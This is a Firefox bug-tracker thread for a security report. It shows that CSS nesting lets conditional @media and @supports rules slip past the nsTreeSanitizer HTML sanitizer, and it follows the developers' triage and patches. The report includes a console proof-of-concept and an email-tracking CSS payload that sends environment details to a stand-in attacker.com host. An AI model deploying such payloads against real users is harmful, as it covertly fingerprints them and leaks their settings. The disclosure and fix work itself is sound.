CSS Nesting Bypasses nsTreeSanitizer Rule Filtering
Categories
(Core :: DOM: Security, defect)
Tracking
()
People
(Reporter: mirzashihab2, Assigned: emilio)
References
Details
(5 keywords, Whiteboard: [client-bounty-form][adv-main151+])
Attachments
(4 files)
CSS Nesting Bypasses nsTreeSanitizer Rule Filtering
Summary
Firefox's HTML sanitizer (nsTreeSanitizer) is designed to strip conditional CSS rules like @media, @supports, and @container from untrusted HTML. These rules are blocked because they can be abused to fingerprint users — for example, detecting screen size, dark mode preference, or accessibility settings via conditional url() loads.
However, CSS nesting (shipped in Firefox 117) introduced a gap: conditional rules nested inside a regular style rule are never checked by the sanitizer. The sanitizer only filters top-level CSS rules, so an attacker can wrap any blocked rule inside a style rule and it passes through untouched.
The developer who wrote this code was aware of the gap and left a TODO comment — but it was never addressed:
// TODO(emilio, nesting): sanitize nested CSS rules, probably?
Affected Component
servo/components/style/stylesheets/stylesheet.rs(line 456) — sanitization loopdom/base/nsTreeSanitizer.cpp— HTML sanitizer entry points
Severity
Moderate — privacy bypass / information disclosure via CSS-based fingerprinting in contexts where the sanitizer is supposed to prevent it.
Affected Versions
- Firefox 117+ (CSS nesting shipped in 117)
- Firefox ESR 128+ (ESR 115 predates CSS nesting)
- Thunderbird (all versions using Gecko 117+)
Steps to Reproduce
Setup
- Open Firefox (tested on latest release, Windows)
- Go to
about:configand setdevtools.chrome.enabledtotrue - Open the Browser Console with
Ctrl+Shift+J(this opens a separate window — not the Web Console from F12)
Test
Paste the following into the Browser Console input field at the bottom and press Enter:
(function() {
var pu = Cc["@mozilla.org/parserutils;1"].getService(Ci.nsIParserUtils);
// Test: nested @media inside a style rule (should be stripped, but isn't)
var input = '<style>div { color: green; @media (min-width: 1px) { color: red !important; } }</style><div>TEST</div>';
var output = pu.sanitize(input, pu.SanitizerAllowStyle);
console.log("=== Nested @media (CSS nesting) ===");
console.log("INPUT: ", input);
console.log("OUTPUT:", output);
console.log("@media survived?", output.includes("@media"));
// Test: nested @supports
var input2 = '<style>div { @supports (display: grid) { color: blue; } }</style><div>TEST</div>';
var output2 = pu.sanitize(input2, pu.SanitizerAllowStyle);
console.log("\n=== Nested @supports ===");
console.log("@supports survived?", output2.includes("@supports"));
// Control: top-level @media IS correctly stripped
var input3 = '<style>@media (min-width: 1px) { div { color: red; } }</style><div>TEST</div>';
var output3 = pu.sanitize(input3, pu.SanitizerAllowStyle);
console.log("\n=== Control: top-level @media ===");
console.log("Top-level @media stripped?", !output3.includes("@media"));
})();
Expected Result (if not vulnerable)
All three tests should show conditional rules stripped:
@media survived? false
@supports survived? false
Top-level @media stripped? true
Actual Result (vulnerable)
@media survived? true <-- BYPASS: nested @media passes through
@supports survived? true <-- BYPASS: nested @supports passes through
Top-level @media stripped? true <-- correct: top-level rules are filtered
The sanitizer correctly strips top-level @media and @supports, but identical rules nested inside a style rule via CSS nesting are not checked and pass through unchanged.
Security Impact
Who is affected
The sanitizer with SanitizerAllowStyle is used in:
-
Clipboard paste (
dom/events/Clipboard.cpp:546) — pasting HTML into Firefox uses the sanitizer. An attacker who controls clipboard content can inject fingerprinting CSS. -
Thunderbird email rendering — this is the highest-impact context. Thunderbird uses
nsTreeSanitizerwithSanitizerAllowStyleto sanitize HTML emails. TheRemoveConditionalCSSFromSubtreemethod (which calls into the same code path) exists specifically to strip conditional CSS from email for privacy. Every email opened could fingerprint the recipient. -
Any consumer of
nsIParserUtils.sanitize()with theSanitizerAllowStyleflag.
What an attacker can learn
By combining nested conditional CSS rules with url() tracking pixels, an attacker can detect:
- Screen dimensions:
@media (min-width: ...)/@media (max-width: ...) - Dark mode preference:
@media (prefers-color-scheme: dark) - Accessibility settings:
@media (prefers-reduced-motion: reduce),@media (prefers-contrast: more) - Browser feature support:
@supports (display: grid),@supports (container-type: inline-size) - Print vs screen:
@media print - Device pixel ratio:
@media (min-resolution: 2dppx) - Orientation:
@media (orientation: portrait)
Realistic attack payload (email tracking)
An attacker sends an email containing:
<style>
.content {
@media (prefers-color-scheme: dark) {
background: url("https://attacker.com/t?dark=1");
}
@media (prefers-color-scheme: light) {
background: url("https://attacker.com/t?dark=0");
}
@media (min-width: 1200px) {
list-style: url("https://attacker.com/t?wide=1");
}
@media (max-width: 768px) {
list-style: url("https://attacker.com/t?mobile=1");
}
@media (prefers-reduced-motion: reduce) {
border-image: url("https://attacker.com/t?reduced_motion=1");
}
}
</style>
<div class="content">Hey, check out this link...</div>
When the recipient opens the email, the conditional url() loads fire based on their environment, leaking their screen size, color scheme, and accessibility preferences to the attacker's server. The sanitizer was designed to block exactly this, but CSS nesting bypasses it.
Root Cause
In servo/components/style/stylesheets/stylesheet.rs, the sanitization loop at line 451-475 iterates over parsed CSS rules and checks each one against SanitizationKind::allows(). However, it only checks top-level rules. When a CssRule::Style (regular style rule) is encountered, it is always allowed (line 367), and its entire text — including any nested rules parsed via CSS nesting — is copied verbatim to the sanitized output.
The NestedRuleParser (line 694 of rule_parser.rs) accepts @media, @supports, @container, @layer, @scope, and more inside style rules. None of these nested rules are ever passed through SanitizationKind::allows().
Secondary Bug: SanitizeInlineStyle ignores its parameter
In dom/base/nsTreeSanitizer.cpp:1146, the function SanitizeInlineStyle accepts a StyleSanitizationKind parameter but hardcodes StyleSanitizationKind::Standard:
SanitizeStyleSheet(styleText, sanitizedStyle, aElement->OwnerDoc(),
aElement->GetBaseURI(), StyleSanitizationKind::Standard);
// ^^^ should be aSanitizationKind
This means RemoveConditionalCSSFromSubtree (line 1162-1163) passes NoConditionalRules but it is silently ignored. In this case Standard is more restrictive so it over-sanitizes rather than under-sanitizes, but the parameter being ignored is still a bug.
Suggested Fix
Modify the sanitization loop in stylesheet.rs to recursively check nested rules within StyleRule against the sanitization filter. The simplest approach: when serializing an allowed CssRule::Style for sanitized output, also iterate its nested CssRules and strip any that SanitizationKind::allows() would reject.
Also fix SanitizeInlineStyle to pass through its aSanitizationKind parameter instead of hardcoding Standard.
| Reporter | ||
Comment 1•5 months ago
|
||
Updated•5 months ago
|
| Assignee | ||
Comment 3•5 months ago
|
||
Ugh, so I remember leaving that comment when writing the first pass of nesting (bug 1833536), I guess I never came back to it. Can I get a sec rating?
I think we only use this in Firefox for copy-paste... Given bug 1602843 and so was a sec-moderate and was way worse, I guess this would also be sec-moderate? It mostly allows exfiltrating stuff.
For Thunderbird the story is kinda sad in general, see bug 1780361.
| Assignee | ||
Comment 4•5 months ago
|
||
Actually, the copy-paste scenario already exists in a sense, bug 1945317.
I don't think this is a Firefox security bug in that case probably? Though I guess we allow loading more stuff this way.
| Assignee | ||
Comment 5•5 months ago
|
||
This is not ideal, but should do for now.
Ideally we'd sanitize child rules individually or so, but doing so
breaks how we sanitize and requires doing significant surgery on the
original input, or re-serialize (which is also not wanted,
see bug 1602843).
Updated•5 months ago
|
| Assignee | ||
Comment 6•5 months ago
|
||
This only affects the conditional CSS stuff that thunderbird uses. Test
that @keyframes is preserved as intended.
| Reporter | ||
Comment 7•5 months ago
|
||
Proposed fix attached. Two changes:
-
servo/components/style/stylesheets/stylesheet.rs — After top-level rule
filtering, recursively walks nested rules inside CssRule::Style and strips
any that SanitizationKind::allows() rejects. Uses BFS to avoid holding
lock guards across recursive calls. Re-serializes via to_css() after
stripping, replacing the previous raw-slice approach. -
dom/base/nsTreeSanitizer.cpp:1146 — SanitizeInlineStyle now passes
through its aSanitizationKind parameter instead of hardcoding Standard. -
servo/ports/geckolib/glue.rs — Adjusted for CssString output type.
Happy to iterate on review feedback.
| Reporter | ||
Comment 8•5 months ago
|
||
Thanks for the fast turnaround Emilio. Understood on the simpler
approach - avoiding re-serialization makes sense given bug 1602843.
For the sec rating discussion: the delta over bug 1945317 is that
CSS nesting allows conditional rules (@media, @supports) through
the sanitizer, which enables environment-dependent exfiltration -
screen size, color scheme, accessibility settings - not just static
resource loads. That conditionality is specifically what the
sanitizer's conditional-rule stripping was designed to prevent.
Happy to help with anything else needed.
Comment 9•5 months ago
|
||
Thanks Emilio for fixing this up so quickly.
Updated•5 months ago
|
Comment 10•5 months ago
|
||
(In reply to Emilio Cobos Álvarez [:emilio] from comment #3)
fingerprinting issues are sec-low, and this one appears to require manipulating the user to copy and paste specific targets in addition.
Comment 11•5 months ago
|
||
Comment 12•5 months ago
|
||
Comment 13•5 months ago
|
||
Comment 14•5 months ago
|
||
Comment 15•5 months ago
|
||
Backout for causing reftests and bc failures
Backout link
Push with failure
Failure log
Failure log for reftests
Failure line TEST-UNEXPECTED-FAIL | toolkit/components/printing/tests/browser_modal_resize.js | testResizing - Navigation element navigateHome is hidden
| Assignee | ||
Updated•5 months ago
|
Comment 16•5 months ago
|
||
Comment 17•5 months ago
|
||
https://hg.mozilla.org/mozilla-central/rev/ecc7c7d03dc0
https://hg.mozilla.org/mozilla-central/rev/7011c13cdd6d
Comment 18•5 months ago
|
||
The patch landed in nightly and beta is affected.
:emilio, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox150towontfix.
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 19•5 months ago
|
||
Not sure we want to uplift this, won't apply cleanly and somewhat long-standing... Thoughts?
Comment 20•5 months ago
|
||
I don't think we care too much about this in Firefox, but I imagine Thunderbird would appreciate having this in ESR?
Comment 21•5 months ago
|
||
(In reply to Pulsebot from comment #11)
Pushed by ealvarez@mozilla.com:
https://github.com/mozilla-firefox/firefox/commit/2e6ba9f86e6c
https://hg.mozilla.org/integration/autoland/rev/f02c0b3b73dc
Require all nested rules to be acceptable for sanitization.
r=firefox-style-system-reviewers,dshin
https://github.com/mozilla-firefox/firefox/commit/ad00cac75e5a
https://hg.mozilla.org/integration/autoland/rev/b97b64f8304f
Pass the right sanitization kind through SanitizeInlineStyle. r=tschuster
Perfherder has detected a browsertime performance change from push b97b64f8304faa717f39a8c31a82b4cb0027722b.
No action is required from the author; this comment is provided for informational purposes only.
| Improvement | Test | Platform | Options | Absolute values [old vs new] | Performance Profiles |
|---|---|---|---|---|---|
| 58% | microsoft PerceptualSpeedIndex (doc) | linux2404-64-shippable | cold fission webrender | 1,405.83 ms -> 593.24 ms | Before/After |
Need Help or Information?
If you have any questions, please reach out to fbilt@mozilla.com. Alternatively, you can find help on Slack by joining #perf-help, and on Matrix you can find help by joining #perftest.
Details of the alert can be found in the alert summary, including links to graphs and comparisons for each of the affected tests.
Updated•5 months ago
|
Comment 22•5 months ago
|
||
Kai, Magnus: we weren't going to uplift this for Firefox, but you should check if the Thunderbird impacts are more serious
Updated•5 months ago
|
Comment 23•5 months ago
|
||
Thunderbird blocks remote content by default. We do sanitize css by default, though that's something we should re-consider IMHO. I think we're fine.
[I don't actually see how this is an issue in Firefox in any practical manner. Fingerprinting sure, in theory, but how would the attacker get to the clipboard without the user loading their page, and by then all that fingerprinting info is already obtainable at page load time.]
Comment 24•5 months ago
|
||
Thanks for making us aware. Discussed with Justin.
The bug effectively re-enables the attack that we had tried to fix in bug 1530106 a few years ago. The original issue was given sec-high. The issue is that users can be tricked into signing content they didn't see, and the recipients might falsely assume that it was intentionally sent by the sender.
It would be useful to get that fixed on 140, if it's doable without much hassle.
Comment 25•5 months ago
|
||
(In reply to Pulsebot from comment #14)
Pushed by asilaghi@mozilla.com:
https://github.com/mozilla-firefox/firefox/commit/35bada9b2b67
https://hg.mozilla.org/integration/autoland/rev/4703ef734e5d
Revert "Bug 2025740 - Pass the right sanitization kind through
SanitizeInlineStyle. r=tschuster" for causing reftest and bc failures
Perfherder has detected a browsertime performance change from push 4703ef734e5dfb446c7ffd69e21d6b16d2cd156b.
No action is required from the author; this comment is provided for informational purposes only.
| Improvement | Test | Platform | Options | Absolute values [old vs new] | Performance Profiles |
|---|---|---|---|---|---|
| 11% | ebay largestContentfulPaint (doc) | linux2404-64-shippable | fission warm webrender | 164.33 ms -> 146.17 ms | Before/After |
| 2% | ebay SpeedIndex (doc) | linux2404-64-shippable | fission warm webrender | 2,038.96 ms -> 1,993.54 ms | Before/After |
Need Help or Information?
If you have any questions, please reach out to fbilt@mozilla.com. Alternatively, you can find help on Slack by joining #perf-help, and on Matrix you can find help by joining #perftest.
Details of the alert can be found in the alert summary, including links to graphs and comparisons for each of the affected tests.
Updated•5 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•3 months ago
|
Updated•2 months ago
|
Updated•18 days ago
|
Description
•